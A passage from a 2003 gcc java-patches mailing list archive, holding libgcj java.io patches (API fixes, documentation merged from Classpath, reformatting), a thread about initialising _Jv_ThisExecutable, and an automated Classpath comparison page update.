/** @@ -236,12 +246,15 @@ * * @exception IOException If an error occurs */ =2D public void write (byte[] b, int off, int len) =2D throws IOException, NullPointerException, IndexOutOfBoundsException + public void write (byte[] buf, int offset, int len) + throws IOException { =2D if (off < 0 || len < 0 || off + len > b.length) + if (offset < 0 + || len < 0 + || offset + len > buf.length) throw new ArrayIndexOutOfBoundsException (); =2D fd.write (b, off, len); + =20 + fd.write (buf, offset, len); } =20 /** @@ -263,15 +276,13 @@ * A file channel must be created by first creating an instance of * Input/Output/RandomAccessFile and invoking the getChannel() method on= it. */ =2D public FileChannel getChannel () + public synchronized FileChannel getChannel()=20 { =2D synchronized (this) =2D { =2D if (ch =3D=3D null) =2D ch =3D new FileChannelImpl (fd, true, this); + if (ch =3D=3D null) + ch =3D new FileChannelImpl (fd, true, this); =20 =2D return ch; =2D } + return ch; } =20 =2D} +} // class FileOutputStream + Index: java/io/RandomAccessFile.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/java/io/RandomAccessFile.java,v retrieving revision 1.11 diff -u -r1.11 RandomAccessFile.java =2D-- java/io/RandomAccessFile.java 24 Mar 2003 13:45:29 -0000 1.11 +++ java/io/RandomAccessFile.java 28 Mar 2003 08:59:10 -0000 @@ -41,16 +41,22 @@ import java.nio.channels.FileChannel; import gnu.java.nio.FileChannelImpl; =20 =2D/** =2D * @author Tom Tromey =2D * @date September 25, 1998=20 =2D */ =2D /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * Status: Believe complete and correct to 1.1. */ =20 +/** + * This class allows reading and writing of files at random locations. + * Most Java I/O classes are either pure sequential input or output. This + * class fulfills the need to be able to read the bytes of a file in an + * arbitrary order. In addition, this class implements the + * DataInput and DataOutput interfaces to allow + * the reading and writing of Java primitives. + * + * @author Aaron M. Renn + * @author Tom Tromey + */ public class RandomAccessFile implements DataOutput, DataInput { =20 --Boundary-00=_V+Ah+2TtaRvz9pY-- From java-patches-return-6601-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 09:51:02 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 25217 invoked by alias); 28 Mar 2003 09:51:01 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 25050 invoked from network); 28 Mar 2003 09:50:50 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 28 Mar 2003 09:50:50 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-74-114.ewetel.net [80.228.74.114]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2S9om8G011407 for ; Fri, 28 Mar 2003 10:50:49 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18yqTx-000365-00 for ; Fri, 28 Mar 2003 10:49:05 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io Date: Fri, 28 Mar 2003 10:52:25 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_ZtBh+aGDhmqQpZo" Message-Id: <200303281052.28661.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_ZtBh+aGDhmqQpZo Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited the attached obvious patch to trunk to fix the API of=20 java.io.ObjectOutputStream.PutField and java.io.FileDescriptor. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+hBtcWSOgCCdjSDsRAmrrAJ4w4bWQUUomM99JJ6/i9T4xl31F2QCfVGNh VInczWlm00liJm4cAjCBk68=3D =3DZs5O =2D----END PGP SIGNATURE----- --Boundary-00=_ZtBh+aGDhmqQpZo Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: quoted-printable Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1818 diff -u -r1.1818 ChangeLog =2D-- ChangeLog 28 Mar 2003 08:59:40 -0000 1.1818 +++ ChangeLog 28 Mar 2003 09:48:08 -0000 @@ -1,3 +1,10 @@ +2003-03-28 Michael Koch + + * java/io/FileDescriptor.java + (finalize): Throws Throwable, not IOException. + * java/io/ObjectOutputStream.java + (PutField.put): Doesnt throws anything. + 2003=AD03-28 Michael Koch =20 * java/io/FileOutputStream.java: Index: java/io/FileDescriptor.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/java/io/FileDescriptor.java,v retrieving revision 1.11 diff -u -r1.11 FileDescriptor.java =2D-- java/io/FileDescriptor.java 4 Jan 2003 03:53:00 -0000 1.11 +++ java/io/FileDescriptor.java 28 Mar 2003 09:48:10 -0000 @@ -79,7 +79,7 @@ =20 =20 // When collected, close. =2D protected void finalize () throws IOException + protected void finalize () throws Throwable { if (valid ()) close (); Index: java/io/ObjectOutputStream.java =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D= =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D=3D RCS file: /cvs/gcc/gcc/libjava/java/io/ObjectOutputStream.java,v retrieving revision 1.14 diff -u -r1.14 ObjectOutputStream.java =2D-- java/io/ObjectOutputStream.java 24 Mar 2003 08:27:28 -0000 1.14 +++ java/io/ObjectOutputStream.java 28 Mar 2003 09:48:11 -0000 @@ -841,24 +841,19 @@ */ public static abstract class PutField { =2D public abstract void put (String name, boolean value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, byte value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, char value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, double value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, float value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, int value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, long value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, short value) =2D throws IOException, IllegalArgumentException; =2D public abstract void put (String name, Object value) =2D throws IOException, IllegalArgumentException; + public abstract void put (String name, boolean value); + public abstract void put (String name, byte value); + public abstract void put (String name, char value); + public abstract void put (String name, double value); + public abstract void put (String name, float value); + public abstract void put (String name, int value); + public abstract void put (String name, long value); + public abstract void put (String name, short value); + public abstract void put (String name, Object value); + + /** + * @deprecated + */ public abstract void write (ObjectOutput out) throws IOException; } =20 @@ -874,7 +869,6 @@ =3D new Object[currentObjectStreamClass.objectFieldCount]; =20 public void put (String name, boolean value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -883,7 +877,6 @@ } =20 public void put (String name, byte value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -892,7 +885,6 @@ } =20 public void put (String name, char value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -903,7 +895,6 @@ } =20 public void put (String name, double value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -921,7 +912,6 @@ } =20 public void put (String name, float value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -935,7 +925,6 @@ } =20 public void put (String name, int value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -948,7 +937,6 @@ } =20 public void put (String name, long value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -965,7 +953,6 @@ } =20 public void put (String name, short value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); @@ -976,7 +963,6 @@ } =20 public void put (String name, Object value) =2D throws IOException, IllegalArgumentException { ObjectStreamField field =3D currentObjectStreamClass.getField (name); --Boundary-00=_ZtBh+aGDhmqQpZo-- From java-patches-return-6602-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 13:07:49 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 28461 invoked by alias); 28 Mar 2003 13:07:48 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 28419 invoked from network); 28 Mar 2003 13:07:47 -0000 Received: from unknown (HELO mail2.ewetel.de) (212.6.122.18) by sources.redhat.com with SMTP; 28 Mar 2003 13:07:47 -0000 Received: from idefix.konqueror.de (dynadsl-080-228-64-237.ewetel.net [80.228.64.237]) by mail2.ewetel.de (8.12.1/8.12.1) with ESMTP id h2SD7j8G022570 for ; Fri, 28 Mar 2003 14:07:46 +0100 (MET) Received: from asterix.konqueror.de ([192.168.1.3]) by idefix.konqueror.de with esmtp (Exim 3.35 #1 (Debian)) id 18ytYU-0003FS-00 for ; Fri, 28 Mar 2003 14:05:58 +0100 From: Michael Koch To: java-patches@gcc.gnu.org Subject: FYI: Patch: java.io - more merging Date: Fri, 28 Mar 2003 14:09:22 +0100 User-Agent: KMail/1.5 MIME-Version: 1.0 Content-Type: Multipart/Mixed; boundary="Boundary-00=_CmEh+4SNfBu2wAf" Message-Id: <200303281409.22267.konqueror@gmx.de> X-CheckCompat: OK --Boundary-00=_CmEh+4SNfBu2wAf Content-Type: Text/Plain; charset="iso-8859-15" Content-Transfer-Encoding: quoted-printable Content-Description: clearsigned data Content-Disposition: inline =2D----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 Hi list, I commited another little patch to trunk to merge java.io with=20 classpath more and more. Michael =2D --=20 Homepage: http://www.worldforge.org/ =2D----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.1 (GNU/Linux) iD8DBQE+hEmCWSOgCCdjSDsRAqGzAKCdG8zZxeHiLZy03o0TCz5RiFSmqwCfeEwk UVLL2mq9csdRydEz6FuX4rs=3D =3D67/O =2D----END PGP SIGNATURE----- --Boundary-00=_CmEh+4SNfBu2wAf Content-Type: text/x-diff; charset="iso-8859-15"; name="io.diff" Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename="io.diff" Index: ChangeLog =================================================================== RCS file: /cvs/gcc/gcc/libjava/ChangeLog,v retrieving revision 1.1819 diff -u -r1.1819 ChangeLog --- ChangeLog 28 Mar 2003 09:49:29 -0000 1.1819 +++ ChangeLog 28 Mar 2003 13:06:29 -0000 @@ -1,5 +1,19 @@ 2003-03-28 Michael Koch + * java/io/File.java: + Import needed classes instead of whole packages, merged class + documentation with classpath, moved constants and variables to top of + class. + * java/io/PrintStream.java: + Merged class documentation with classpath, moved constants and + variables to top of class. + * java/io/RandomAccessFile.java + (RandomAccessFile): Merged with classpath. + (read): Merged with classpath). + (read*): Reformatted. + +2003-03-28 Michael Koch + * java/io/FileDescriptor.java (finalize): Throws Throwable, not IOException. * java/io/ObjectOutputStream.java Index: java/io/File.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/File.java,v retrieving revision 1.29 diff -u -r1.29 File.java --- java/io/File.java 24 Mar 2003 15:43:22 -0000 1.29 +++ java/io/File.java 28 Mar 2003 13:06:30 -0000 @@ -38,22 +38,49 @@ package java.io; -import java.util.*; -import java.net.*; +import java.net.MalformedURLException; +import java.net.URL; import gnu.gcj.runtime.FileDeleter; -/** - * @author Tom Tromey - * @date September 24, 1998 - */ - /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * Status: Complete to version 1.3. */ +/** + * This class represents a file or directory on a local disk. It provides + * facilities for dealing with a variety of systems that use various + * types of path separators ("/" versus "\", for example). It also + * contains method useful for creating and deleting files and directories. + * + * @author Aaron M. Renn + * @author Tom Tromey + */ public class File implements Serializable, Comparable { + private static final long serialVersionUID = 301077366599181567L; + + // QUERY arguments to access function. + private final static int READ = 0; + private final static int WRITE = 1; + private final static int EXISTS = 2; + + // QUERY arguments to stat function. + private final static int DIRECTORY = 0; + private final static int ISFILE = 1; + private final static int ISHIDDEN = 2; + + // QUERY arguments to attr function. + private final static int MODIFIED = 0; + private final static int LENGTH = 1; + + private final native long attr (int query); + // On OSF1 V5.0, `stat' is a macro. It is easiest to use the name + // `_stat' instead. We do the same thing for `_access' just in + // case. + private final native boolean _access (int query); + private final native boolean _stat (int query); + public boolean canRead () { checkRead(); @@ -612,26 +639,4 @@ path = path.replace (oldSeparatorChar, separatorChar); } - // QUERY arguments to access function. - private final static int READ = 0; - private final static int WRITE = 1; - private final static int EXISTS = 2; - - // QUERY arguments to stat function. - private final static int DIRECTORY = 0; - private final static int ISFILE = 1; - private final static int ISHIDDEN = 2; - - // QUERY arguments to attr function. - private final static int MODIFIED = 0; - private final static int LENGTH = 1; - - private final native long attr (int query); - // On OSF1 V5.0, `stat' is a macro. It is easiest to use the name - // `_stat' instead. We do the same thing for `_access' just in - // case. - private final native boolean _access (int query); - private final native boolean _stat (int query); - - private static final long serialVersionUID = 301077366599181567L; } Index: java/io/PrintStream.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/PrintStream.java,v retrieving revision 1.13 diff -u -r1.13 PrintStream.java --- java/io/PrintStream.java 24 Mar 2003 15:43:22 -0000 1.13 +++ java/io/PrintStream.java 28 Mar 2003 13:06:30 -0000 @@ -37,24 +37,55 @@ package java.io; -import gnu.gcj.convert.UnicodeToBytes; -/** - * @author Tom Tromey - * @date September 24, 1998 - */ +import gnu.gcj.convert.UnicodeToBytes; /* Written using "Java Class Libraries", 2nd edition, ISBN 0-201-31002-3 * "The Java Language Specification", ISBN 0-201-63451-1 * Status: Believed complete and correct to 1.3 */ +/** + * This class prints Java primitive values and object to a stream as + * text. None of the methods in this class throw an exception. However, + * errors can be detected by calling the checkError() method. + * Additionally, this stream can be designated as "autoflush" when + * created so that any writes are automatically flushed to the underlying + * output sink when the current line is terminated. + *

          + * Note that this class is deprecated. It exists for backward + * compatibility only. New code should be written to use + * PrintWriter instead. + *

          + * This class converts char's into byte's using the system default encoding. + * + * @deprecated + * + * @author Aaron M. Renn + * @author Tom Tromey + */ public class PrintStream extends FilterOutputStream { /* Notice the implementation is quite similar to OutputStreamWriter. * This leads to some minor duplication, because neither inherits * from the other, and we want to maximize performance. */ + // Line separator string. + private static final char[] line_separator + = System.getProperty("line.separator").toCharArray(); + + UnicodeToBytes converter; + + // Work buffer of characters for converter. + char[] work = new char[100]; + // Work buffer of bytes where we temporarily keep converter output. + byte[] work_bytes = new byte[100]; + + // True if error occurred. + private boolean error; + // True if auto-flush. + private boolean auto_flush; + public PrintStream (OutputStream out) { this(out, false); @@ -312,19 +343,4 @@ } } - UnicodeToBytes converter; - - // Work buffer of characters for converter. - char[] work = new char[100]; - // Work buffer of bytes where we temporarily keep converter output. - byte[] work_bytes = new byte[100]; - - // True if error occurred. - private boolean error; - // True if auto-flush. - private boolean auto_flush; - - // Line separator string. - private static final char[] line_separator - = System.getProperty("line.separator").toCharArray(); } Index: java/io/RandomAccessFile.java =================================================================== RCS file: /cvs/gcc/gcc/libjava/java/io/RandomAccessFile.java,v retrieving revision 1.12 diff -u -r1.12 RandomAccessFile.java --- java/io/RandomAccessFile.java 28 Mar 2003 08:59:41 -0000 1.12 +++ java/io/RandomAccessFile.java 28 Mar 2003 13:06:30 -0000 @@ -87,7 +87,8 @@ * is not allowed * @exception IOException If any other error occurs */ - public RandomAccessFile (File file, String mode) throws FileNotFoundException + public RandomAccessFile (File file, String mode) + throws FileNotFoundException { this (file.getPath(), mode); } @@ -102,7 +103,7 @@ * opening the file to determine whether or not this file is allowed to * be read or written. * - * @param name The name of the file to read and/or write + * @param fileName The name of the file to read and/or write * @param mode "r" for read only or "rw" for read-write access to the file * * @exception IllegalArgumentException If mode has an @@ -114,6 +115,11 @@ public RandomAccessFile (String fileName, String mode) throws FileNotFoundException { + // Check the mode + if (!mode.equals("r") && !mode.equals("rw") && !mode.equals("rws") && + !mode.equals("rwd")) + throw new IllegalArgumentException("Bad mode value: " + mode); + int fdmode; if (mode.compareTo ("r") == 0) fdmode = FileDescriptor.READ; @@ -122,12 +128,14 @@ else throw new IllegalArgumentException ("invalid mode: " + mode); + // The obligatory SecurityManager stuff SecurityManager s = System.getSecurityManager(); if (s != null) { - s.checkRead(fileName); - if ((fdmode & FileDescriptor.WRITE) != 0) - s.checkWrite(fileName); + s.checkRead(fileName); + + if ((fdmode & FileDescriptor.WRITE) != 0) + s.checkWrite(fileName); } fd = new FileDescriptor (fileName, fdmode); @@ -159,6 +167,7 @@ { if (! fd.valid()) throw new IOException (); + return fd; } @@ -231,12 +240,12 @@ */ public int read (byte[] buffer) throws IOException { - return in.read(buffer); + return in.read (buffer); } /** - * This methods reads up to len bytes from the file into the s - * pecified array starting at position offset into the array. + * This methods reads up to len bytes from the file into the + * specified array starting at position offset into the array. * * @param buf The array to read the bytes into * @param offset The index into the array to start storing bytes @@ -246,9 +255,9 @@ * * @exception IOException If an error occurs */ - public int read (byte[] buffer, int offset, int count) throws IOException + public int read (byte[] buffer, int offset, int len) throws IOException { - return in.read(buffer, offset, count); + return in.read (buffer, offset, len); } /** @@ -270,7 +279,7 @@ */ public final boolean readBoolean () throws IOException { - return in.readBoolean(); + return in.readBoolean (); } /** @@ -290,7 +299,7 @@ */ public final byte readByte () throws IOException { - return in.readByte(); + return in.readByte (); } /** @@ -347,7 +356,7 @@ */ public final double readDouble () throws IOException { - return in.readDouble(); + return in.readDouble (); } /** @@ -412,7 +421,7 @@ public final void readFully (byte[] buffer, int offset, int count) throws IOException { - in.readFully(buffer, offset, count); + in.readFully (buffer, offset, count); } /** @@ -477,7 +486,7 @@ */ public final String readLine () throws IOException { - return in.readLine(); + return in.readLine (); } /** --Boundary-00=_CmEh+4SNfBu2wAf-- From java-patches-return-6603-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 13:12:51 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29530 invoked by alias); 28 Mar 2003 13:12:51 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29523 invoked from network); 28 Mar 2003 13:12:50 -0000 Received: from unknown (HELO icarus.host4u.net) (209.150.128.167) by sources.redhat.com with SMTP; 28 Mar 2003 13:12:50 -0000 Received: from p733 (adsl-68-74-195-180.dsl.milwwi.ameritech.net [68.74.195.180]) by icarus.host4u.net (8.11.6/8.11.6) with SMTP id h2SDCik18424; Fri, 28 Mar 2003 07:12:44 -0600 From: Mohan Embar To: Andrew Haley Cc: java-patches@gcc.gnu.org Date: Fri, 28 Mar 2003 07:12:39 -0600 X-Priority: 3 (Normal) Reply-To: gnustuff@thisiscool.com In-Reply-To: <16003.13253.620256.16088@masala.cambridge.redhat.com> Message-Id: Subject: Re: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Andrew (and/or anyone else), I'm stuck on something and need your help. If my analysis is incorrect, let me know. Prior to my patch, _Jv_RunMain() was the only place that _Jv_ThisExecutable() was ever initialized. I don't see how stacktraces could have ever worked if _Jv_RunMain() were never invoked, as appears to be the case of Andrew Shuttlewood. After my patch, _Jv_ThisExecutable() will work only for Posix if HAVE_PROC_SELF_EXE is defined. Otherwise, _Jv_ThisExecutable() will bomb because it will attempt to pass back _Jv_argv[0]. So my updated patch will need to fix this too. How do I do this? I can think of several possible ways: - Readd a _Jv_ThisExecutable() setter (which I took away in my patch) which allows a back-door way of specifying this and hope that they call it? - Provide a _Jv_SetArgs() method which they should invoke manually to set _Jv_argc and _Jv_argv and hope that call this? - Pray that they set _Jv_argc and _Jv_argv manually? - Require some gcj-specific Java VM init args which specify the executable name? ...or is there some better way? Depending on the solution, the gnu.gcj.progname problem might be indirectly fixed too. -- Mohan http://www.thisiscool.com/ http://www.animalsong.org/ From java-patches-return-6604-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 13:52:29 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 6083 invoked by alias); 28 Mar 2003 13:52:29 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 6075 invoked from network); 28 Mar 2003 13:52:28 -0000 Received: from unknown (HELO executor.cambridge.redhat.com) (213.86.99.237) by sources.redhat.com with SMTP; 28 Mar 2003 13:52:28 -0000 Received: from masala.cambridge.redhat.com (masala.cambridge.redhat.com [172.16.18.66]) by executor.cambridge.redhat.com (Postfix) with ESMTP id 64970ABAF8; Fri, 28 Mar 2003 13:52:28 +0000 (GMT) Received: from masala.cambridge.redhat.com (localhost.localdomain [127.0.0.1]) by masala.cambridge.redhat.com (8.12.8/8.12.8) with ESMTP id h2SDqRlS004766; Fri, 28 Mar 2003 13:52:28 GMT Received: (from aph@localhost) by masala.cambridge.redhat.com (8.12.8/8.12.8/Submit) id h2SDqRZY004762; Fri, 28 Mar 2003 13:52:27 GMT From: Andrew Haley MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-ID: <16004.21402.964605.722402@masala.cambridge.redhat.com> Date: Fri, 28 Mar 2003 13:52:26 +0000 (GMT) To: gnustuff@thisiscool.com Cc: java-patches@gcc.gnu.org Subject: Re: Patch for Preview: _Jv_ThisExecutable (The Saga Continues) In-Reply-To: References: <16003.13253.620256.16088@masala.cambridge.redhat.com> Mohan Embar writes: > Andrew (and/or anyone else), > > I'm stuck on something and need your help. If my analysis > is incorrect, let me know. > > Prior to my patch, _Jv_RunMain() was the only place that > _Jv_ThisExecutable() was ever initialized. I don't see how > stacktraces could have ever worked if _Jv_RunMain() were > never invoked, as appears to be the case of Andrew Shuttlewood. Hmm. I suppose you get hex. > After my patch, _Jv_ThisExecutable() will work only for Posix if > HAVE_PROC_SELF_EXE is defined. Otherwise, _Jv_ThisExecutable() > will bomb because it will attempt to pass back _Jv_argv[0]. > > So my updated patch will need to fix this too. > > How do I do this? I can think of several possible ways: > > - Readd a _Jv_ThisExecutable() setter (which I took away in my patch) > which allows a back-door way of specifying this and hope that they > call it? > - Provide a _Jv_SetArgs() method which they should invoke manually to > set _Jv_argc and _Jv_argv and hope that call this? > - Pray that they set _Jv_argc and _Jv_argv manually? > - Require some gcj-specific Java VM init args which specify the executable name? > > ...or is there some better way? > > Depending on the solution, the gnu.gcj.progname problem might be > indirectly fixed too. As I understand it, JNI_CreateJavaVM() is the portable way to do this, and it has a JavaVMInitArgs arg that can pass system properties. We could make JNI_CreateJavaVM() read gnu.gcj.progname and pass that to _Jv_ThisExecutable(). However, all that we need at the moment is for the runtime not to crash, and that means that we don't set gnu.gcj.progname unless _Jv_argv has been set. Andrew. From java-patches-return-6605-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 23:02:42 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 13626 invoked by alias); 28 Mar 2003 23:02:42 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 13605 invoked from network); 28 Mar 2003 23:02:41 -0000 Received: from unknown (HELO gash2.peakpeak.com) (207.174.178.17) by sources.redhat.com with SMTP; 28 Mar 2003 23:02:41 -0000 Received: from fleche.redhat.com (tf0239.peakpeak.com [204.144.239.239]) by gash2.peakpeak.com (8.9.3/8.9.3) with ESMTP id QAA20608; Fri, 28 Mar 2003 16:02:39 -0700 Received: by fleche.redhat.com (Postfix, from userid 1000) id C9CFD4F867B; Fri, 28 Mar 2003 15:58:50 -0700 (MST) To: GCC libjava patches Cc: Gcc Patch List Subject: Patch: FYI: classpath comparison From: Tom Tromey Reply-To: tromey@redhat.com X-Attribution: Tom X-Zippy: Eisenhower!! Your mimeograph machine upsets my stomach!! Date: 28 Mar 2003 15:58:50 -0700 Message-ID: <87vfy385ed.fsf@fleche.redhat.com> Lines: 73 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Another automated classpath comparison. Tom Index: ChangeLog from Tom Tromey * libgcj-classpath-compare.html: Rebuilt. Index: libgcj-classpath-compare.html =================================================================== RCS file: /cvs/gcc/wwwdocs/htdocs/java/libgcj-classpath-compare.html,v retrieving revision 1.65 diff -u -r1.65 libgcj-classpath-compare.html --- libgcj-classpath-compare.html 24 Mar 2003 00:56:46 -0000 1.65 +++ libgcj-classpath-compare.html 28 Mar 2003 23:02:07 -0000 @@ -8,7 +8,7 @@

          This page compares the "current" cvs libgcj against the "current" cvs Classpath. It was generated using the gen-classpath-compare script (available in gcc cvs repository in wwwdocs/bin/) on -2003-03-23. +2003-03-27. This table intentionally omits certain classes which are not of interest. If the third column shows a "Diff" link, then that means the script believes that the class has been merged, but a difference @@ -39,8 +39,6 @@ gnu.javax.rmi.CORBA.ValueHandlerImpl No Yes No gnu.javax.rmi.PortableServer No Yes No java.awt.Toolkit Yes Yes Diff - java.awt.dnd.DropTarget Yes Yes Diff - java.awt.dnd.DropTargetContext Yes Yes Diff java.io.DataInputStream Yes Yes Diff java.io.DataOutputStream Yes Yes Diff java.io.File Yes Yes Diff @@ -99,18 +97,18 @@ java.nio.LongBuffer Yes Yes Diff java.nio.MappedByteBuffer Yes Yes Diff java.nio.ShortBuffer Yes Yes Diff - java.rmi.activation.ActivationInstantiator Yes Yes Diff - java.rmi.activation.Activator Yes Yes Diff - java.rmi.registry.RegistryHandler Yes Yes Diff java.security.AlgorithmParameterGenerator Yes Yes Diff java.security.AlgorithmParameters Yes Yes Diff + java.security.Engine No Yes No java.security.Identity Yes Yes Diff java.security.IdentityScope Yes Yes Diff java.security.KeyFactory Yes Yes Diff java.security.KeyPairGenerator Yes Yes Diff + java.security.KeyStore Yes Yes Diff java.security.MessageDigest Yes Yes Diff java.security.Policy Yes Yes Diff java.security.ProtectionDomain Yes Yes Diff + java.security.SecureRandom Yes Yes Diff java.security.Security Yes Yes Diff java.security.Signature Yes Yes Diff java.security.SignatureSpi Yes Yes Diff @@ -126,6 +124,7 @@ java.text.Collator Yes Yes Diff java.text.MessageFormat Yes Yes Diff java.text.RuleBasedCollator Yes Yes No + java.util.Date Yes Yes Diff java.util.PropertyPermission Yes Yes Diff java.util.ResourceBundle Yes Yes Diff java.util.logging.ConsoleHandler No Yes No @@ -144,6 +143,8 @@ java.util.logging.SocketHandler No Yes No java.util.logging.StreamHandler No Yes No java.util.logging.XMLFormatter No Yes No + java.util.regex.Pattern Yes Yes Diff + java.util.regex.PatternSyntaxException Yes Yes Diff java.util.zip.Deflater Yes Yes Diff java.util.zip.DeflaterConstants No Yes No java.util.zip.DeflaterEngine No Yes No From java-patches-return-6606-listarch-java-patches=gcc.gnu.org@gcc.gnu.org Fri Mar 28 23:47:08 2003 Return-Path: Delivered-To: listarch-java-patches@gcc.gnu.org Received: (qmail 29573 invoked by alias); 28 Mar 2003 23:47:08 -0000 Mailing-List: contact java-patches-help@gcc.gnu.org; run by ezmlm Precedence: bulk List-Subscribe: List-Archive: List-Post: List-Help: , Sender: java-patches-owner@gcc.gnu.org Delivered-To: mailing list java-patches@gcc.gnu.org Received: (qmail 29537 invoked from network); 28 Mar 2003 23:47:06 -0000 Received: from unknown (HELO faui11.informatik.uni-erlangen.de) (131.188.31.2) by sources.redhat.com with SMTP; 28 Mar 2003 23:47:06 -0000 Received: (from weigand@localhost) by 